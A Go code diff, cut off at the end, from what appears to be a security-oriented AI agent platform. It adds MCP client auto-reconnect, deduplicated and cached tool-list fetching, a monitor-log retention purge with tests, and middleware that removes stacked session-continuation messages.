 // ExternalMCPManager 外部MCP管理器
 type ExternalMCPManager struct {
 	clients      map[string]ExternalMCPClient
@@ -26,14 +46,20 @@ type ExternalMCPManager struct {
 	errors       map[string]string         // 错误信息
 	toolCounts   map[string]int            // 工具数量缓存
 	toolCountsMu sync.RWMutex              // 工具数量缓存的锁
-	toolCache    map[string][]Tool         // 工具列表缓存：MCP名称 -> 工具列表
+	toolCache    map[string]toolListCacheEntry // 工具列表缓存：MCP名称 -> 工具列表
 	toolCacheMu  sync.RWMutex              // 工具列表缓存的锁
+	listToolsMu  sync.Mutex
+	listToolsInflight map[string]*listToolsInflight
 	stopRefresh  chan struct{}             // 停止后台刷新的信号
 	refreshWg    sync.WaitGroup            // 等待后台刷新goroutine完成
 	refreshing   atomic.Bool               // 防止 refreshToolCounts 并发堆积
 	mu           sync.RWMutex
-	runningCancels map[string]context.CancelFunc
+	runningCancels    map[string]context.CancelFunc
-	abortUserNotes map[string]string
+	abortUserNotes    map[string]string
+	reconnectMu       sync.Mutex
+	reconnecting      map[string]bool
+	reconnectLastTry  map[string]time.Time
+	reconnectAttempts map[string]int
 }
 
 // NewExternalMCPManager 创建外部MCP管理器
@@ -51,11 +77,15 @@ func NewExternalMCPManagerWithStorage(logger *zap.Logger, storage MonitorStorage
 		executions:     make(map[string]*ToolExecution),
 		stats:          make(map[string]*ToolStats),
 		errors:         make(map[string]string),
-		toolCounts:     make(map[string]int),
+		toolCounts:        make(map[string]int),
-		toolCache:      make(map[string][]Tool),
+		toolCache:         make(map[string]toolListCacheEntry),
-		stopRefresh:    make(chan struct{}),
+		listToolsInflight: make(map[string]*listToolsInflight),
-		runningCancels: make(map[string]context.CancelFunc),
+		stopRefresh:       make(chan struct{}),
-		abortUserNotes: make(map[string]string),
+		runningCancels:    make(map[string]context.CancelFunc),
+		abortUserNotes:    make(map[string]string),
+		reconnecting:      make(map[string]bool),
+		reconnectLastTry:  make(map[string]time.Time),
+		reconnectAttempts: make(map[string]int),
 	}
 	// 启动后台刷新工具数量的goroutine
 	manager.startToolCountRefresh()
@@ -122,6 +152,7 @@ func (m *ExternalMCPManager) RemoveConfig(name string) error {
 	}
 
 	delete(m.configs, name)
+	m.clearReconnectState(name)
 
 	// 清理工具数量缓存
 	m.toolCountsMu.Lock()
@@ -136,8 +167,13 @@ func (m *ExternalMCPManager) RemoveConfig(name string) error {
 	return nil
 }
 
-// StartClient 启动客户端
+// StartClient 启动客户端（用户手动启动；连接失败不自动重试）
 func (m *ExternalMCPManager) StartClient(name string) error {
+	return m.startClient(name, false)
+}
+
+// startClient 启动客户端。autoReconnect 为 true 时用于断连自愈：尊重停用状态，失败后按退避继续重试。
+func (m *ExternalMCPManager) startClient(name string, autoReconnect bool) error {
 	m.mu.Lock()
 	serverCfg, exists := m.configs[name]
 	m.mu.Unlock()
@@ -146,6 +182,10 @@ func (m *ExternalMCPManager) StartClient(name string) error {
 		return fmt.Errorf("配置不存在: %s", name)
 	}
 
+	if autoReconnect && !m.isEnabled(serverCfg) {
+		return nil
+	}
+
 	// 检查是否已经有连接的客户端
 	m.mu.RLock()
 	existingClient, hasClient := m.clients[name]
@@ -155,11 +195,12 @@ func (m *ExternalMCPManager) StartClient(name string) error {
 		// 检查客户端是否已连接
 		if existingClient.IsConnected() {
 			// 客户端已连接，直接返回成功（目标状态已达成）
-			// 更新配置为启用（确保配置一致）
+			if !autoReconnect {
-			m.mu.Lock()
+				m.mu.Lock()
-			serverCfg.ExternalMCPEnable = true
+				serverCfg.ExternalMCPEnable = true
-			m.configs[name] = serverCfg
+				m.configs[name] = serverCfg
-			m.mu.Unlock()
+				m.mu.Unlock()
+			}
 			return nil
 		}
 		// 如果有客户端但未连接，先关闭
@@ -169,6 +210,16 @@ func (m *ExternalMCPManager) StartClient(name string) error {
 		m.mu.Unlock()
 	}
 
+	if autoReconnect {
+		m.mu.RLock()
+		serverCfg, exists = m.configs[name]
+		enabled := exists && m.isEnabled(serverCfg)
+		m.mu.RUnlock()
+		if !enabled {
+			return nil
+		}
+	}
+
 	// 更新配置为启用
 	m.mu.Lock()
 	serverCfg.ExternalMCPEnable = true
@@ -192,10 +243,11 @@ func (m *ExternalMCPManager) StartClient(name string) error {
 	m.mu.Unlock()
 
 	// 在后台异步进行实际连接
-	go func() {
+	go func(reconnect bool) {
 		if err := m.doConnect(name, serverCfg, client); err != nil {
 			m.logger.Error("连接外部MCP客户端失败",
 				zap.String("name", name),
+				zap.Bool("auto_reconnect", reconnect),
 				zap.Error(err),
 			)
 			// 连接失败，设置状态为error并保存错误信息
@@ -205,22 +257,19 @@ func (m *ExternalMCPManager) StartClient(name string) error {
 			m.mu.Unlock()
 			// 触发工具数量刷新（连接失败，工具数量应为0）
 			m.triggerToolCountRefresh()
+			if reconnect {
+				m.scheduleReconnectAfterFailure(name)
+			}
 		} else {
 			// 连接成功，清除错误信息
 			m.mu.Lock()
 			delete(m.errors, name)
 			m.mu.Unlock()
-			// 立即刷新工具数量和工具列表缓存
+			m.onClientConnected(name)
-			m.triggerToolCountRefresh()
+			// 异步拉取工具列表（singleflight 去重，结果同时写入 toolCache 与 toolCounts）
-			m.refreshToolCache(name, client)
+			go m.refreshToolCache(name, client)
-			// 2 秒后再刷新一次，覆盖 SSE/Streamable 等需稍等就绪的远端
-			go func() {
-				time.Sleep(2 * time.Second)
-				m.triggerToolCountRefresh()
-				m.refreshToolCache(name, client)
-			}()
 		}
-	}()
+	}(autoReconnect)
 
 	return nil
 }
@@ -249,10 +298,16 @@ func (m *ExternalMCPManager) StopClient(name string) error {
 	m.toolCounts[name] = 0
 	m.toolCountsMu.Unlock()
 
+	m.toolCacheMu.Lock()
+	delete(m.toolCache, name)
+	m.toolCacheMu.Unlock()
+
 	// 更新配置为禁用
 	serverCfg.ExternalMCPEnable = false
 	m.configs[name] = serverCfg
 
+	m.clearReconnectState(name)
+
 	return nil
 }
 
@@ -335,16 +390,19 @@ func (m *ExternalMCPManager) getToolsForClient(name string, client ExternalMCPCl
 		return nil, fmt.Errorf("外部MCP连接失败: %s", name)
 	}
 
-	// 已连接：尝试获取最新工具列表
+	// 已连接：缓存优先，仅在缺失或过期时打远程 ListTools
 	if client.IsConnected() {
-		tools, err := client.ListTools(ctx)
+		if tools, ok := m.getFreshCachedTools(name); ok {
+			return tools, nil
+		}
+		if tools, ok := m.getAnyCachedTools(name); ok {
+			m.triggerToolListRefresh(name, client)
+			return tools, nil
+		}
+		tools, err := m.listToolsDeduped(ctx, name, client)
 		if err != nil {
-			// 获取失败，尝试使用缓存
 			return m.getCachedTools(name, "连接正常但获取失败", err)
 		}
-
-		// 获取成功，更新缓存
-		m.updateToolCache(name, tools)
 		return tools, nil
 	}
 
@@ -361,37 +419,127 @@ func (m *ExternalMCPManager) getToolsForClient(name string, client ExternalMCPCl
 	return nil, fmt.Errorf("外部MCP状态未知: %s (状态: %s)", name, status)
 }
 
-// getCachedTools 获取缓存的工具列表
+// getCachedTools 获取缓存的工具列表（含空列表缓存）
 func (m *ExternalMCPManager) getCachedTools(name, reason string, originalErr error) ([]Tool, error) {
-	m.toolCacheMu.RLock()
+	if tools, ok := m.getAnyCachedTools(name); ok {
-	cachedTools, hasCache := m.toolCache[name]
-	m.toolCacheMu.RUnlock()
-
-	if hasCache && len(cachedTools) > 0 {
 		m.logger.Debug("使用缓存的工具列表",
 			zap.String("name", name),
 			zap.String("reason", reason),
-			zap.Int("count", len(cachedTools)),
+			zap.Int("count", len(tools)),
 			zap.Error(originalErr),
 		)
-		return cachedTools, nil
+		return tools, nil
 	}
 
-	// 无缓存，返回错误
 	if originalErr != nil {
 		return nil, fmt.Errorf("获取外部MCP工具失败且无缓存: %w", originalErr)
 	}
 	return nil, fmt.Errorf("外部MCP无缓存工具: %s", name)
 }
 
-// updateToolCache 更新工具列表缓存
+func (m *ExternalMCPManager) isToolCacheFresh(updatedAt time.Time) bool {
-func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
+	return !updatedAt.IsZero() && time.Since(updatedAt) < externalToolListCacheTTL
+}
+
+func cloneTools(tools []Tool) []Tool {
+	if len(tools) == 0 {
+		return nil
+	}
+	out := make([]Tool, len(tools))
+	copy(out, tools)
+	return out
+}
+
+func (m *ExternalMCPManager) getFreshCachedTools(name string) ([]Tool, bool) {
+	m.toolCacheMu.RLock()
+	entry, ok := m.toolCache[name]
+	m.toolCacheMu.RUnlock()
+	if !ok || !m.isToolCacheFresh(entry.updatedAt) {
+		return nil, false
+	}
+	return cloneTools(entry.tools), true
+}
+
+func (m *ExternalMCPManager) getAnyCachedTools(name string) ([]Tool, bool) {
+	m.toolCacheMu.RLock()
+	entry, ok := m.toolCache[name]
+	m.toolCacheMu.RUnlock()
+	if !ok {
+		return nil, false
+	}
+	return cloneTools(entry.tools), true
+}
+
+// listToolsDeduped 对同一 MCP 合并并发 ListTools，并更新 toolCache / toolCounts。
+func (m *ExternalMCPManager) listToolsDeduped(ctx context.Context, name string, client ExternalMCPClient) ([]Tool, error) {
+	m.listToolsMu.Lock()
+	if inflight, exists := m.listToolsInflight[name]; exists {
+		m.listToolsMu.Unlock()
+		select {
+		case <-inflight.done:
+			if inflight.err != nil {
+				return nil, inflight.err
+			}
+			return cloneTools(inflight.tools), nil
+		case <-ctx.Done():
+			return nil, ctx.Err()
+		}
+	}
+	inflight := &listToolsInflight{done: make(chan struct{})}
+	m.listToolsInflight[name] = inflight
+	m.listToolsMu.Unlock()
+
+	inflight.tools, inflight.err = client.ListTools(ctx)
+	if inflight.err == nil {
+		m.updateToolCache(name, inflight.tools)
+	}
+
+	m.listToolsMu.Lock()
+	delete(m.listToolsInflight, name)
+	close(inflight.done)
+	m.listToolsMu.Unlock()
+
+	if inflight.err != nil {
+		m.handleConnectionDead(name, client, inflight.err)
+		return nil, inflight.err
+	}
+	return cloneTools(inflight.tools), nil
+}
+
+// InvalidateToolCache 清除指定外部 MCP 的工具列表缓存（手动刷新时使用）
+func (m *ExternalMCPManager) InvalidateToolCache(name string) {
 	m.toolCacheMu.Lock()
-	m.toolCache[name] = tools
+	delete(m.toolCache, name)
+	m.toolCacheMu.Unlock()
+}
+
+// InvalidateAllToolCaches 清除所有外部 MCP 工具列表缓存
+func (m *ExternalMCPManager) InvalidateAllToolCaches() {
+	m.toolCacheMu.Lock()
+	m.toolCache = make(map[string]toolListCacheEntry)
+	m.toolCacheMu.Unlock()
+}
+
+func (m *ExternalMCPManager) triggerToolListRefresh(name string, client ExternalMCPClient) {
+	go func() {
+		ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
+		defer cancel()
+		_, _ = m.listToolsDeduped(ctx, name, client)
+	}()
+}
+
+// updateToolCache 更新工具列表缓存与工具数量
+func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
+	stored := cloneTools(tools)
+	m.toolCacheMu.Lock()
+	m.toolCache[name] = toolListCacheEntry{tools: stored, updatedAt: time.Now()}
 	m.toolCacheMu.Unlock()
 
-	// 如果返回空列表，记录警告
+	m.toolCountsMu.Lock()
-	if len(tools) == 0 {
+	m.toolCounts[name] = len(stored)
+	m.toolCountsMu.Unlock()
+
+	if len(stored) == 0 {
 		m.logger.Warn("外部MCP返回空工具列表",
 			zap.String("name", name),
 			zap.String("hint", "服务可能暂时不可用，工具列表为空"),
@@ -399,7 +547,7 @@ func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
 	} else {
 		m.logger.Debug("工具列表缓存已更新",
 			zap.String("name", name),
-			zap.Int("count", len(tools)),
+			zap.Int("count", len(stored)),
 		)
 	}
 }
@@ -467,6 +615,9 @@ func (m *ExternalMCPManager) CallTool(ctx context.Context, toolName string, args
 
 	// 调用工具
 	result, err := client.CallTool(execCtx, actualToolName, args)
+	if err != nil {
+		m.handleConnectionDead(mcpName, client, err)
+	}
 	cancelledWithUserNote := m.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err)
 
 	// 更新执行记录
@@ -854,28 +1005,27 @@ func (m *ExternalMCPManager) refreshToolCounts() {
 				return
 			}
 
-			// 使用合理的超时时间（15秒），既能应对网络延迟，又不会过长阻塞
+			// 缓存仍新鲜时直接复用，避免与 GetAllTools 重复打远程
-			// 由于这是后台异步刷新，超时不会影响前端响应
+			if _, fresh := m.getFreshCachedTools(n); fresh {
+				m.toolCountsMu.RLock()
+				count := m.toolCounts[n]
+				m.toolCountsMu.RUnlock()
+				resultChan <- countResult{name: n, count: count}
+				return
+			}
+
 			ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
-			tools, err := c.ListTools(ctx)
+			tools, err := m.listToolsDeduped(ctx, n, c)
 			cancel()
 
 			if err != nil {
-				errStr := err.Error()
+				if !isConnectionDeadError(err) {
-				// SSE 连接 EOF：远端可能关闭了流或未按规范在流上推送响应，仅首次用 Warn 提示
-				if strings.Contains(errStr, "EOF") || strings.Contains(errStr, "client is closing") {
-					m.logger.Warn("获取外部MCP工具数量失败（SSE 流已关闭或服务端未在流上返回 tools/list 响应）",
-						zap.String("name", n),
-						zap.String("hint", "若为 SSE 连接，请确认服务端保持 GET 流打开并按 MCP 规范以 event: message 推送 JSON-RPC 响应"),
-						zap.Error(err),
-					)
-				} else {
 					m.logger.Warn("获取外部MCP工具数量失败，请检查连接或服务端 tools/list",
 						zap.String("name", n),
 						zap.Error(err),
 					)
 				}
-				resultChan <- countResult{name: n, count: -1} // -1 表示使用旧值
+				resultChan <- countResult{name: n, count: -1}
 				return
 			}
 
@@ -925,33 +1075,21 @@ func (m *ExternalMCPManager) refreshToolCache(name string, client ExternalMCPCli
 	if !client.IsConnected() {
 		return
 	}
-
+	if client.GetStatus() == "error" {
-	// 检查状态，如果是error状态，不更新缓存
-	status := client.GetStatus()
-	if status == "error" {
 		m.logger.Debug("跳过刷新工具列表缓存（连接失败）",
 			zap.String("name", name),
-			zap.String("status", status),
 		)
 		return
 	}
 
-	// 使用较短的超时时间（5秒）
+	ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
-	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
 	defer cancel()
-
+	if _, err := m.listToolsDeduped(ctx, name, client); err != nil {
-	tools, err := client.ListTools(ctx)
-	if err != nil {
 		m.logger.Debug("刷新工具列表缓存失败",
 			zap.String("name", name),
 			zap.Error(err),
 		)
-		// 刷新失败时不更新缓存，保留旧缓存（如果有）
-		return
 	}
-
-	// 使用统一的缓存更新方法
-	m.updateToolCache(name, tools)
 }
 
 // startToolCountRefresh 启动后台刷新工具数量的goroutine
@@ -959,7 +1097,7 @@ func (m *ExternalMCPManager) startToolCountRefresh() {
 	m.refreshWg.Add(1)
 	go func() {
 		defer m.refreshWg.Done()
-		ticker := time.NewTicker(10 * time.Second) // 每10秒刷新一次
+		ticker := time.NewTicker(externalToolCountRefreshInterval)
 		defer ticker.Stop()
 
 		// 立即执行一次刷新
@@ -1075,6 +1213,8 @@ func (m *ExternalMCPManager) connectClient(name string, serverCfg config.Externa
 		zap.String("name", name),
 	)
 
+	m.onClientConnected(name)
+
 	// 连接成功，触发工具数量刷新和工具列表缓存刷新
 	m.triggerToolCountRefresh()
 	m.mu.RLock()
@@ -1159,6 +1299,7 @@ func (m *ExternalMCPManager) StopAll() {
 	for name, client := range m.clients {
 		client.Close()
 		delete(m.clients, name)
+		m.clearReconnectState(name)
 	}
 
 	// 清理所有工具数量缓存
@@ -1168,7 +1309,7 @@ func (m *ExternalMCPManager) StopAll() {
 
 	// 清理所有工具列表缓存
 	m.toolCacheMu.Lock()
-	m.toolCache = make(map[string][]Tool)
+	m.toolCache = make(map[string]toolListCacheEntry)
 	m.toolCacheMu.Unlock()
 
 	// 停止后台刷新（使用 select 避免重复关闭 channel）

internal/mcp/run_context.go

@@ -11,7 +11,16 @@ type ToolRunRegistry interface {
 	UnregisterRunningTool(conversationID, executionID string)
 }
 
+// EinoExecuteRunRegistry 登记进行中的 Eino filesystem execute，供「中断并继续」终止 amass 等长命令。
+type EinoExecuteRunRegistry interface {
+	RegisterActiveEinoExecute(conversationID string, cancel context.CancelFunc)
+	UnregisterActiveEinoExecute(conversationID string)
+	AbortActiveEinoExecute(conversationID, note string) bool
+	TakeEinoExecuteAbortNote(conversationID string) string
+}
+
 type toolRunRegistryCtxKey struct{}
+type einoExecuteRunRegistryCtxKey struct{}
 type mcpConversationIDCtxKey struct{}
 
 // WithToolRunRegistry 将登记器注入 ctx（Eino / 原生 Agent 任务 ctx）。
@@ -31,6 +40,23 @@ func ToolRunRegistryFromContext(ctx context.Context) ToolRunRegistry {
 	return v
 }
 
+// WithEinoExecuteRunRegistry 将 Eino execute 取消登记器注入 ctx。
+func WithEinoExecuteRunRegistry(ctx context.Context, reg EinoExecuteRunRegistry) context.Context {
+	if ctx == nil || reg == nil {
+		return ctx
+	}
+	return context.WithValue(ctx, einoExecuteRunRegistryCtxKey{}, reg)
+}
+
+// EinoExecuteRunRegistryFromContext 取出 Eino execute 登记器（无则 nil）。
+func EinoExecuteRunRegistryFromContext(ctx context.Context) EinoExecuteRunRegistry {
+	if ctx == nil {
+		return nil
+	}
+	v, _ := ctx.Value(einoExecuteRunRegistryCtxKey{}).(EinoExecuteRunRegistry)
+	return v
+}
+
 // WithMCPConversationID 将对话 ID 注入 ctx，供 CallTool 内与 executionId 关联。
 func WithMCPConversationID(ctx context.Context, conversationID string) context.Context {
 	if ctx == nil {

internal/mcp/server.go

@@ -21,6 +21,7 @@ import (
 // MonitorStorage 监控数据存储接口
 type MonitorStorage interface {
 	SaveToolExecution(exec *ToolExecution) error
+	UpdateToolExecutionResult(id string, result *ToolResult) error
 	LoadToolExecutions() ([]*ToolExecution, error)
 	GetToolExecution(id string) (*ToolExecution, error)
 	SaveToolStats(toolName string, stats *ToolStats) error
@@ -963,6 +964,26 @@ func (s *Server) RecordCompletedToolInvocation(toolName string, args map[string]
 	return executionID
 }
 
+// UpdateToolExecutionResult 将监控库中的工具结果更新为送入模型的展示正文（如 reduction 后的 persisted-output）。
+func (s *Server) UpdateToolExecutionResult(executionID string, result *ToolResult) error {
+	if s == nil {
+		return nil
+	}
+	executionID = strings.TrimSpace(executionID)
+	if executionID == "" || result == nil {
+		return nil
+	}
+	s.mu.Lock()
+	if exec, ok := s.executions[executionID]; ok && exec != nil {
+		exec.Result = result
+	}
+	s.mu.Unlock()
+	if s.storage != nil {
+		return s.storage.UpdateToolExecutionResult(executionID, result)
+	}
+	return nil
+}
+
 // cleanupOldExecutions 清理旧的执行记录，防止内存无限增长
 func (s *Server) cleanupOldExecutions() {
 	if len(s.executions) <= s.maxExecutionsInMemory {

internal/monitor/retention.go

@@ -0,0 +1,71 @@
+package monitor
+
+import (
+	"time"
+
+	"cyberstrike-ai/internal/config"
+	"cyberstrike-ai/internal/database"
+
+	"go.uber.org/zap"
+)
+
+const retentionPurgeInterval = time.Hour
+
+// Service manages MCP tool execution monitor retention.
+type Service struct {
+	db     *database.DB
+	cfg    *config.Config
+	logger *zap.Logger
+}
+
+// NewService creates a monitor retention service.
+func NewService(db *database.DB, cfg *config.Config, logger *zap.Logger) *Service {
+	return &Service{db: db, cfg: cfg, logger: logger}
+}
+
+// RetentionDays returns configured retention; 0 means keep forever.
+func (s *Service) RetentionDays() int {
+	if s == nil || s.cfg == nil {
+		return config.MonitorConfig{}.RetentionDaysEffective()
+	}
+	return s.cfg.Monitor.RetentionDaysEffective()
+}
+
+// PurgeExpired deletes tool execution rows older than retention_days when configured.
+func (s *Service) PurgeExpired() {
+	if s == nil || s.db == nil || s.cfg == nil {
+		return
+	}
+	days := s.cfg.Monitor.RetentionDaysEffective()
+	if days <= 0 {
+		return
+	}
+	cutoff := time.Now().AddDate(0, 0, -days)
+	n, err := s.db.PurgeToolExecutionsBefore(cutoff)
+	if err != nil {
+		if s.logger != nil {
+			s.logger.Warn("清理过期 MCP 执行记录失败", zap.Error(err))
+		}
+		return
+	}
+	if n > 0 && s.logger != nil {
+		s.logger.Info("已清理过期 MCP 执行记录", zap.Int64("deleted", n), zap.Int("retention_days", days))
+	}
+}
+
+// StartRetentionLoop periodically purges expired tool execution rows.
+func StartRetentionLoop(s *Service, logger *zap.Logger) {
+	if s == nil {
+		return
+	}
+	go func() {
+		ticker := time.NewTicker(retentionPurgeInterval)
+		defer ticker.Stop()
+		for range ticker.C {
+			s.PurgeExpired()
+			if logger != nil {
+				logger.Debug("monitor retention tick completed")
+			}
+		}
+	}()
+}

internal/monitor/retention_test.go

@@ -0,0 +1,94 @@
+package monitor
+
+import (
+	"path/filepath"
+	"testing"
+	"time"
+
+	"cyberstrike-ai/internal/config"
+	"cyberstrike-ai/internal/database"
+	"cyberstrike-ai/internal/mcp"
+
+	"go.uber.org/zap"
+)
+
+func TestServicePurgeExpired_respectsZeroRetention(t *testing.T) {
+	dbPath := filepath.Join(t.TempDir(), "monitor.db")
+	db, err := database.NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	exec := &mcp.ToolExecution{
+		ID:        "ancient",
+		ToolName:  "curl::get",
+		Arguments: map[string]interface{}{},
+		Status:    "completed",
+		StartTime: mustParseTime(t, "2020-01-01T00:00:00Z"),
+	}
+	if err := db.SaveToolExecution(exec); err != nil {
+		t.Fatalf("SaveToolExecution: %v", err)
+	}
+
+	zero := 0
+	svc := NewService(db, &config.Config{
+		Monitor: config.MonitorConfig{RetentionDays: &zero},
+	}, zap.NewNop())
+	svc.PurgeExpired()
+
+	if _, err := db.GetToolExecution("ancient"); err != nil {
+		t.Fatalf("record should remain when retention_days=0: %v", err)
+	}
+}
+
+func TestServicePurgeExpired_deletesOldRows(t *testing.T) {
+	dbPath := filepath.Join(t.TempDir(), "monitor.db")
+	db, err := database.NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	exec := &mcp.ToolExecution{
+		ID:        "ancient",
+		ToolName:  "curl::get",
+		Arguments: map[string]interface{}{},
+		Status:    "completed",
+		StartTime: mustParseTime(t, "2020-01-01T00:00:00Z"),
+	}
+	if err := db.SaveToolExecution(exec); err != nil {
+		t.Fatalf("SaveToolExecution: %v", err)
+	}
+
+	days := 90
+	svc := NewService(db, &config.Config{
+		Monitor: config.MonitorConfig{RetentionDays: &days},
+	}, zap.NewNop())
+	svc.PurgeExpired()
+
+	if _, err := db.GetToolExecution("ancient"); err == nil {
+		t.Fatal("record should be purged when older than retention_days")
+	}
+}
+
+func TestRetentionDaysEffective_defaults(t *testing.T) {
+	got := config.MonitorConfig{}.RetentionDaysEffective()
+	if got != 90 {
+		t.Fatalf("default = %d, want 90", got)
+	}
+	zero := 0
+	cfg := config.MonitorConfig{RetentionDays: &zero}
+	if cfg.RetentionDaysEffective() != 0 {
+		t.Fatalf("zero = %d, want 0", cfg.RetentionDaysEffective())
+	}
+}
+
+func mustParseTime(t *testing.T, value string) time.Time {
+	t.Helper()
+	parsed, err := time.Parse(time.RFC3339, value)
+	if err != nil {
+		t.Fatalf("parse time: %v", err)
+	}
+	return parsed
+}

internal/multiagent/continuation_user_dedup_middleware.go

@@ -0,0 +1,104 @@
+package multiagent
+
+import (
+	"context"
+	"strings"
+
+	"github.com/cloudwego/eino/adk"
+	"github.com/cloudwego/eino/schema"
+	"go.uber.org/zap"
+)
+
+// continuationSessionMarker matches Cursor / IDE session-resume user injections.
+const continuationSessionMarker = "This session is being continued from a previous conversation"
+
+// continuationUserDedupMiddleware keeps only the latest session-resume user message when
+// multiple continuation injections were stacked (e.g. after repeated out-of-context resumes).
+type continuationUserDedupMiddleware struct {
+	adk.BaseChatModelAgentMiddleware
+	logger *zap.Logger
+	phase  string
+}
+
+func newContinuationUserDedupMiddleware(logger *zap.Logger, phase string) adk.ChatModelAgentMiddleware {
+	return &continuationUserDedupMiddleware{logger: logger, phase: phase}
+}
+
+func (m *continuationUserDedupMiddleware) BeforeModelRewriteState(
+	ctx context.Context,
+	state *adk.ChatModelAgentState,
+	mc *adk.ModelContext,
+) (context.Context, *adk.ChatModelAgentState, error) {
+	_ = mc
+	if m == nil || state == nil || len(state.Messages) == 0 {
+		return ctx, state, nil
+	}
+	deduped, dropped := dedupContinuationUserMessages(state.Messages)
+	if dropped == 0 {
+		return ctx, state, nil
+	}
+	if m.logger != nil {
+		m.logger.Info("eino continuation user messages deduplicated",
+			zap.String("phase", m.phase),
+			zap.Int("dropped", dropped),
+			zap.Int("messages_before", len(state.Messages)),
+			zap.Int("messages_after", len(deduped)),
+		)
+	}
+	out := *state
+	out.Messages = deduped
+	return ctx, &out, nil
+}
+
+func adkUserMessageText(msg adk.Message) string {
+	if msg == nil {
+		return ""
+	}
+	var b strings.Builder
+	if s := strings.TrimSpace(msg.Content); s != "" {
+		b.WriteString(s)
+	}
+	for _, part := range msg.UserInputMultiContent {
+		if part.Type == schema.ChatMessagePartTypeText {
+			if s := strings.TrimSpace(part.Text); s != "" {
+				if b.Len() > 0 {
+					b.WriteByte('\n')
+				}
+				b.WriteString(s)
+			}
+		}
+	}
+	return b.String()
+}
+
+func isContinuationUserMessage(msg adk.Message) bool {
+	if msg == nil || msg.Role != schema.User {
+		return false
+	}
+	return strings.Contains(adkUserMessageText(msg), continuationSessionMarker)
+}
+
+func dedupContinuationUserMessages(msgs []adk.Message) ([]adk.Message, int) {
+	lastIdx := -1
+	contCount := 0
+	for i, msg := range msgs {
+		if !isContinuationUserMessage(msg) {
+			continue
+		}
+		contCount++
+		lastIdx = i
+	}
+	if contCount <= 1 {
+		return msgs, 0
+	}
+	out := make([]adk.Message, 0, len(msgs)-(contCount-1))
+	dropped := 0
+	for i, msg := range msgs {
+		if isContinuationUserMessage(msg) && i != lastIdx {
+			dropped++
+			continue
+		}
+		out = append(out, msg)
+	}
+	return out, dropped
+}

internal/multiagent/continuation_user_dedup_middleware_test.go

@@ -0,0 +1,65 @@
+package multiagent
+
+import (
+	"context"
+	"strings"
+	"testing"
+
+	"github.com/cloudwego/eino/adk"
+	"github.com/cloudwego/eino/schema"
+)
+
+func continuationUser(text string) adk.Message {
+	return &schema.Message{
+		Role: schema.User,
+		UserInputMultiContent: []schema.MessageInputPart{
+			{Type: schema.ChatMessagePartTypeText, Text: continuationSessionMarker + "\n" + text},
+			{Type: schema.ChatMessagePartTypeText, Text: "Please continue the conversation from where we left it off."},
+		},
+	}
+}
+
+func TestDedupContinuationUserMessages_KeepsLatest(t *testing.T) {
+	msgs := []adk.Message{
+		continuationUser("summary old"),
+		schema.UserMessage("real task"),
+		continuationUser("summary new"),
+	}
+	out, dropped := dedupContinuationUserMessages(msgs)
+	if dropped != 1 {
+		t.Fatalf("dropped=%d want 1", dropped)
+	}
+	if len(out) != 2 {
+		t.Fatalf("len=%d want 2", len(out))
+	}
+	if out[0].Role != schema.User || adkUserMessageText(out[0]) != "real task" {
+		t.Fatalf("first should remain real task, got %q", adkUserMessageText(out[0]))
+	}
+	if !strings.Contains(adkUserMessageText(out[1]), "summary new") {
+		t.Fatalf("latest continuation not kept: %q", adkUserMessageText(out[1]))
+	}
+}
+
+func TestDedupContinuationUserMessages_NoOpSingle(t *testing.T) {
+	msgs := []adk.Message{continuationUser("only"), schema.UserMessage("task")}
+	out, dropped := dedupContinuationUserMessages(msgs)
+	if dropped != 0 || len(out) != 2 {
+		t.Fatalf("unexpected change dropped=%d len=%d", dropped, len(out))
+	}
+}
+
+func TestContinuationUserDedupMiddleware(t *testing.T) {
+	mw := newContinuationUserDedupMiddleware(nil, "test")
+	state := &adk.ChatModelAgentState{Messages: []adk.Message{
+		continuationUser("old"),
+		continuationUser("new"),
+		schema.UserMessage("task"),
+	}}
+	_, out, err := mw.(*continuationUserDedupMiddleware).BeforeModelRewriteState(context.Background(), state, nil)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(out.Messages) != 2 {
+		t.Fatalf("want 2 messages after dedup, got %d", len(out.Messages))
+	}
+}

internal/multiagent/eino_adk_run_loop.go

@@ -88,6 +88,7 @@ type einoADKRunLoopArgs struct {
 	// 在完成时写入 MCP 监控；execute 仍由 eino_execute_monitor 记录，此处跳过。
 	FilesystemMonitorAgent  *agent.Agent
 	FilesystemMonitorRecord einomcp.ExecutionRecorder
+	MCPExecutionBinder      *MCPExecutionBinder
 
 	// ToolInvokeNotify 与 einomcp.ToolsFromDefinitions 共享：run loop 在迭代前 Set，MCP 桥 Fire 以补全 tool_result。
 	ToolInvokeNotify *einomcp.ToolInvokeNotifyHolder
@@ -285,53 +286,63 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 		executeStdoutDupMu.Unlock()
 	}
 
-	var toolResultSent sync.Map // toolCallID -> struct{}；与 ADK Tool 消息去重，避免 bridge 与事件流各推一次
+	var toolResultSent sync.Map // toolCallID -> struct{}；ADK Tool 事件去重（权威正文来自 reduction 处理后的 agent 上下文）
-	if args.ToolInvokeNotify != nil {
+	tryEmitToolResultProgress := func(toolName, content, toolCallID string, isErr bool, agentName string) {
-		args.ToolInvokeNotify.Set(func(toolCallID, toolName, einoAgent string, success bool, content string, invokeErr error) {
+		if progress == nil {
-			tid := strings.TrimSpace(toolCallID)
+			return
-			removePendingByID(tid)
+		}
-			if tid == "" || progress == nil {
+		toolName = strings.TrimSpace(toolName)
-				return
+		if toolName == "" {
+			toolName = "unknown"
+		}
+		preview := content
+		if len(preview) > 200 {
+			preview = preview[:200] + "..."
+		}
+		data := map[string]interface{}{
+			"toolName":       toolName,
+			"success":        !isErr,
+			"isError":        isErr,
+			"result":         content,
+			"resultPreview":  preview,
+			"conversationId": conversationID,
+			"einoAgent":      agentName,
+			"einoRole":       einoRoleTag(agentName),
+			"source":         "eino",
+		}
+		tid := strings.TrimSpace(toolCallID)
